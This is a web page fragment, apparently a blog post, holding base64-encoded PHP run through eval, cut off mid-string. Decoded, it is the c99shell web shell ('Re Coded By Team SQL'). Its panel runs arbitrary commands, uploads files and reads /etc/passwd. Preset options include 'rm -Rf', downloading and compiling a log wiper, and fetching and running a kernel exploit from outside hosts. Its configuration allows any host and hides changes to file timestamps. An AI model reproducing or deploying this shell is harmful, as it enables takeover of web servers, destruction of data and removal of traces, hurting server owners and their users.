kPjwvdHI+DQo8dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+RW50ZXI6IDwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjbWQpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPlNlbGVjdDogPC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PHNlbGVjdCBuYW1lPSJjbWQiPjw/cGhwIGZvcmVhY2ggKCRjbWRhbGlhc2VzIGFzICRhbHMpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMV0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1swXSkuIjwvb3B0aW9uPiI7fSA/Pjwvc2VsZWN0PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48L3RyPjwvVEFCTEU+DQo8YnI+DQo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjExNiIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+DQo8dHI+PHRkIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPlNoYWRvdydzIHRyaWNrcyA6RCA8L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPg0KPHRyPg0KICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+DQogICAgPGRpdiBhbGlnbj0iY2VudGVyIj5Vc2VmdWwgQ29tbWFuZHMgDQogICAgPC9kaXY+DQogICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+DQogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICAgICAgICA8U0VMRUNUIE5BTUU9ImNtZCI+DQogICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ1bmFtZSAtYSI+S2VybmVsIHZlcnNpb24NCiAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0idyI+TG9nZ2VkIGluIHVzZXJzDQogICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0ibGFzdGxvZyI+TGFzdCB0byBjb25uZWN0DQogICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiPlN1aWQgYmlucw0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJjdXQgLWQ6IC1mMSwyLDMgL2V0Yy9wYXNzd2QgfCBncmVwIDo6Ij5VU0VSIFdJVEhPVVQgUEFTU1dPUkQhDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImZpbmQgL2V0Yy8gLXR5cGUgZiAtcGVybSAtbyt3IDI+IC9kZXYvbnVsbCI+V3JpdGUgaW4gL2V0Yy8/DQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndoaWNoIHdnZXQgY3VybCB3M20gbHlueCI+RG93bmxvYWRlcnM/DQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImNhdCAvcHJvYy92ZXJzaW9uIC9wcm9jL2NwdWluZm8iPkNQVUlORk8NCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0ibmV0c3RhdCAtYXR1cCB8IGdyZXAgSVNUIj5PcGVuIHBvcnRzDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImxvY2F0ZSBnY2MiPmdjYyBpbnN0YWxsZWQ/DQoJCQkJCTxPUFRJT04gVkFMVUU9InJtIC1SZiI+Rm9ybWF0IGJveCAoREFOR0VST1VTKQ0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Z2V0IGh0dHA6Ly93d3cucGFja2V0c3Rvcm1zZWN1cml0eS5vcmcvVU5JWC9wZW5ldHJhdGlvbi9sb2ctd2lwZXJzL3phcDIuYyI+V0lQRUxPR1MgUFQxIChJZiB3Z2V0IGluc3RhbGxlZCkNCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iZ2NjIHphcDIuYyAtbyB6YXAyIj5XSVBFTE9HUyBQVDINCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi96YXAyIj5XSVBFTE9HUyBQVDMNCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vZnRwLnBvd2VybmV0LmNvbS50ci9zdXBlcm1haWwvZGVidWcvazMiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQxIChJZiB3Z2V0IGluc3RhbGxlZCkNCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAxIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDEpDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Ii4vazMgMiI+S2VybmVsIGF0dGFjayAoS3JhZC5jKSBQVDIgKEwyKQ0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDMiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQyIChMMykNCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA0Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDQpDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Ii4vazMgNSI+S2VybmVsIGF0dGFjayAoS3JhZC5jKSBQVDIgKEw1KQ0KICAgICAgICAgICAgICAgICAgPC9TRUxFQ1Q+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+DQogICAgICAgICZuYnNwOw0KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPg0KICAgICAgICAgIDxicj4NCiAgICAgICAgV2FybmluZy4gS2VybmVsIG1heSBiZSBhbGVydGVkIHVzaW5nIGhpZ2hlciBsZXZlbHMgPC9kaXY+DQogICAgPC9mb3JtPg0KICAgIDwvdGQ+DQogIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj4NCiAgIDxjZW50ZXI+S2VybmVsIEluZm86IDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iaHR0cDovL2dvb2dsZS5jb20vc2VhcmNoIj4NCiAgICAgIDxpbnB1dCBuYW1lPSJxIiB0eXBlPSJ0ZXh0IiBpZD0icSIgdmFsdWU9Ijw/cGhwIGVjaG8gd29yZHdyYXAocGhwX3VuYW1lKCkpOyA/PiI+DQogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjbGllbnQiIHZhbHVlPSJmaXJlZm94LWEiPg0KCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmxzIiB2YWx1ZT0ib3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwiPg0KCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGwiIHZhbHVlPSJlbiI+DQoJICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJocyIgdmFsdWU9ImI3cCI+DQoJICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0iYnRuRyIgVkFMVUU9IlNlYXJjaCI+DQogICAgPC9mb3JtPjwvY2VudGVyPg0KICAgIDwvdGQ+DQo8L3RyPjwvVEFCTEU+PGJyPg0KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4NCjx0cj4NCiA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1zZWFyY2gmZD08P3BocCBlY2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5TZWFyY2g8L2I+PC9hPiA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ic2VhcmNoIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNlYXJjaF9uYW1lIiBzaXplPSIyOSIgdmFsdWU9IiguKikiPiZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2VhcmNoX25hbWVfcmVnZXhwIiB2YWx1ZT0iMSIgIGNoZWNrZWQ+IC0gcmVnZXhwJm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJTZWFyY2giPjwvZm9ybT48L2NlbnRlcj48L3A+PC90ZD4NCiA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD11cGxvYWQmZD08P3BocCBlY2hvICR1ZDsgPz4iPjxiPlVwbG9hZDwvYj48L2E+IDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJ1cGxvYWQiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ibWluaWZvcm0iIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlVwbG9hZCI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IE1ha2UgRGlyIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibWtkaXIiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtkaXIiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBNYWtlIEZpbGUgOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Im1rZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJta2ZpbGUiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZnQiIHZhbHVlPSJlZGl0Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+DQo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogR28gRGlyIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogR28gRmlsZSA6OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImdvZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPg0KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9Ijk5MCIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PHAgYWxpZ249ImNlbnRlciI+PGI+LS1bIGM5OXNoZWxsIHYuIDw/cGhwIGVjaG8gJHNodmVyOyA/PiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1hYm91dCI+PHU+PGI+cG93ZXJlZCBCeTwvYj48L3U+PC9hPiBNYWhtb3VkIFNRTCB8IDxhIGhyZWY9Imh0dHA6Ly90ZWFtLXNxbC5jb20vY2MiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5UZWFtIFNRTDwvZm9udD48L2E+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjwvZm9udD4gfCBHZW5lcmF0aW9uIHRpbWU6IDw/cGhwIGVjaG8gcm91bmQoZ2V0bWljcm90aW1lKCktc3RhcnR0aW1lLDQpOyA/PiBdLS08L2I+PC9wPjwvdGQ+PC90cj48L3RhYmxlPg0KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFzdGRpcik7IGM5OXNoZXhpdCgpOyA/Pg==&#8221;)); ?></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2519&amp;linkname=%3C%3Fphp%20eval%28%22%3F%3E%26%238220%3B.base64_decode%28%26%238220%3BPD9waHANCi8vU3RhcnRpbmcgY2FsbHMNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319DQplcnJvcl9yZXBvcnRpbmcoNSk7DQpAaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KJHdpbiA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIjsNCmRlZmluZSgic3RhcnR0aW1lIixnZXRtaWNyb3RpbWUoKSk7DQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkge2lmICghZnVuY3Rpb25fZXhpc3RzKCJzdHJpcHMiKSkge2Z1bmN0aW9uIHN0cmlwcygmJGFyciwkaz0iIikge2lmIChpc19hcnJheSgkYXJyKSkge2ZvcmVhY2goJGFyciBhcyAkaz0%2BJHYpIHtpZiAoc3RydG91cHBlcigkaykgIT0gIkdMT0JBTFMiKSB7c3RyaXBzKCRhcnJbIiRrIl0pO319fSBlbHNlIHskYXJyID0gc3RyaXBzbGFzaGVzKCRhcnIpO319fSBzdHJpcHMoJEdMT0JBTFMpO30NCiRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCRfR0VULCRfUE9TVCk7DQpmb3JlYWNoKCRfUkVRVUVTVCBhcyAkaz0%2BJHYpIHtpZiAoIWlzc2V0KCQkaykpIHskJGsgPSAkdjt9fQ0KDQokc2h2ZXIgPSAiUmUgQ29kZWQgQnkgVGVhbSBTUUwiOyAvL0N1cnJlbnQgdmVyc2lvbg0KLy9DT05GSUdVUkFUSU9OIEFORCBTRVRUSU5HUw0KaWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpIHtzZXRjb29raWUoImM5OXNoX3N1cmwiKTsgJHN1cmwgPSAiIjt9DQplbHNlaWYgKCFlbXB0eSgkc2V0X3N1cmwpKSB7JHN1cmwgPSAkc2V0X3N1cmw7IHNldGNvb2tpZSgiYzk5c2hfc3VybCIsJHN1cmwpO30NCmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl07IC8vU2V0IHRoaXMgY29va2llIGZvciBtYW51YWwgU1VSTA0KfQ0KDQokc3VybF9hdXRvZmlsbF9pbmNsdWRlID0gVFJVRTsgLy9JZiBUUlVFIHRoZW4gc2VhcmNoIHZhcmlhYmxlcyB3aXRoIGRlc2NyaXB0b3JzIChVUkxzKSBhbmQgc2F2ZSBpdCBpbiBTVVJMLg0KDQppZiAoJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSBhbmQgISRfUkVRVUVTVFsiYzk5c2hfc3VybCJdKSB7JGluY2x1ZGUgPSAiJiI7IGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7JHYgPSBleHBsb2RlKCI9Iiwkdik7ICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7aWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHskaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7fX19IGlmICgkX1JFUVVFU1RbInN1cmxfYXV0b2ZpbGxfaW5jbHVkZSJdKSB7JGluY2x1ZGVzdHIgLj0gInN1cmxfYXV0b2ZpbGxfaW5jbHVkZT0xJiI7fX0NCmlmIChlbXB0eSgkc3VybCkpDQp7DQogJHN1cmwgPSAiPyIuJGluY2x1ZGVzdHI7IC8vU2VsZiB1cmwNCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiR0aW1lbGltaXQgPSAwOyAvL3RpbWUgbGltaXQgb2YgZXhlY3V0aW9uIHRoaXMgc2NyaXB0IG92ZXIgc2VydmVyIHF1b3RlIChzZWNvbmRzKSwgMCA9IHVubGltaXRlZC4NCg0KLy9BdXRoZW50aWNhdGlvbg0KLy8kbG9naW4gPSAiIjsgLy9sb2dpbg0KLy9ET04nVCBGT1JHT1QgQUJPVVQgUEFTU1dPUkQhISENCi8vJHBhc3MgPSAiIjsgLy9wYXNzd29yZA0KLy8kbWQ1X3Bhc3MgPSAiIjsgLy9tZDUtY3J5cGVkIHBhc3MuIGlmIG51bGwsIG1kNSgkcGFzcykNCg0KJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyAvL2FycmF5ICgie21hc2t9MSIsInttYXNrfTIiLC4uLiksIHttYXNrfSA9IElQIG9yIEhPU1QgZS5nLiBhcnJheSgiMTkyLjE2OC4wLioiLCIxMjcuMC4wLjEiKQ0KJGxvZ2luX3R4dCA9ICJIb29mTWFHb29mIEhhY2tlZCBXZWIgU2VydmVyIEFjY2VzcyI7IC8vaHR0cC1hdXRoIG1lc3NhZ2UuDQokYWNjZXNzZGVuaWVkbWVzcyA9ICI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTlzaGVsbFwiPmM5OXNoZWxsIHYuIi4kc2h2ZXIuIjwvYT46IGFjY2VzcyBkZW5pZWQiOw0KDQokZ3ppcGVuY29kZSA9IFRSVUU7IC8vRW5jb2RlIHdpdGggZ3ppcD8NCg0KJHVwZGF0ZW5vdyA9IEZBTFNFOyAvL0lmIFRSVUUsIHVwZGF0ZSBub3cgKHRoaXMgdmFyaWFibGUgd2lsbCBiZSBGQUxTRSkNCg0KJGM5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0ZS9jOTlzaGVsbC8iOyAvL1VwZGF0ZSBzZXJ2ZXINCiRjOTlzaF9zb3VyY2VzdXJsID0gImh0dHA6Ly9jY3RlYW0ucnUvZmlsZXMvYzk5c2hfc291cmNlcy8iOyAvL1NvdXJjZXMtc2VydmVyDQoNCiRmaWxlc3RlYWx0aCA9IFRSVUU7IC8vaWYgVFJVRSwgZG9uJ3QgY2hhbmdlIG1vZGlmeS0gYW5kIGFjY2Vzcy10aW1lDQoNCiRkb25hdGVkX2h0bWwgPSAiPGNlbnRlcj48Yj5IQUNLRUQgQlkgTUFITU9VRCBTUUw8L2I%2BPC9jZW50ZXI%2BIjsNCi8qIElmIHlvdSBwdWJsaXNoIGZyZWUgc2hlbGwgYW5kIHlvdSB3aXNoDQphZGQgbGluayB0byB5b3VyIHNpdGUgb3IgYW55IG90aGVyIGluZm9ybWF0aW9uLA0KcHV0IGhlcmUgeW91ciBodG1sLiAqLw0KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLg0KDQokY3VyZGlyID0gIi4vIjsgLy9zdGFydCBmb2xkZXINCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOw0KJHRtcGRpciA9ICIiOyAvL0ZvbGRlciBmb3IgdGVtcG9yeSBmaWxlcy4gSWYgZW1wdHksIGF1dG8tZmlsbCAoL3RtcCBvciAlV0lORElSL3RlbXApDQokdG1wZGlyX2xvZyA9ICIuLyI7IC8vRGlyZWN0b3J5IGxvZ3Mgb2YgbG9uZyBwcm9jZXNzZXMgKGUuZy4gYnJ1dGUsIHNjYW4uLi4pDQoNCiRsb2dfZW1haWwgPSAidXNlckBob3N0LnRsZCI7IC8vRGVmYXVsdCBlLW1haWwgZm9yIHNlbmRpbmcgbG9ncw0KDQokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcNCiRzb3J0X3NhdmUgPSBUUlVFOyAvL0lmIFRSVUUgdGhlbiBzYXZlIHNvcnRpbmctcG9zaXRpb24gdXNpbmcgY29va2llcy4NCg0KLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLg0KLy8gIGFycmF5KA0KLy8gICAie2FjdGlvbjF9Ij0%2BYXJyYXkoImV4dDEiLCJleHQyIiwiZXh0MyIsLi4uKSwNCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCiRmdHlwZXMgID0gYXJyYXkoDQogImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAiaW5pIj0%2BYXJyYXkoImluaSIsImluZiIpLA0KICJjb2RlIj0%2BYXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwNCiAiaW1nIj0%2BYXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwNCiAic2RiIj0%2BYXJyYXkoInNkYiIpLA0KICJwaHBzZXNzIj0%2BYXJyYXkoInNlc3MiKSwNCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQ0KKTsNCg0KLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZX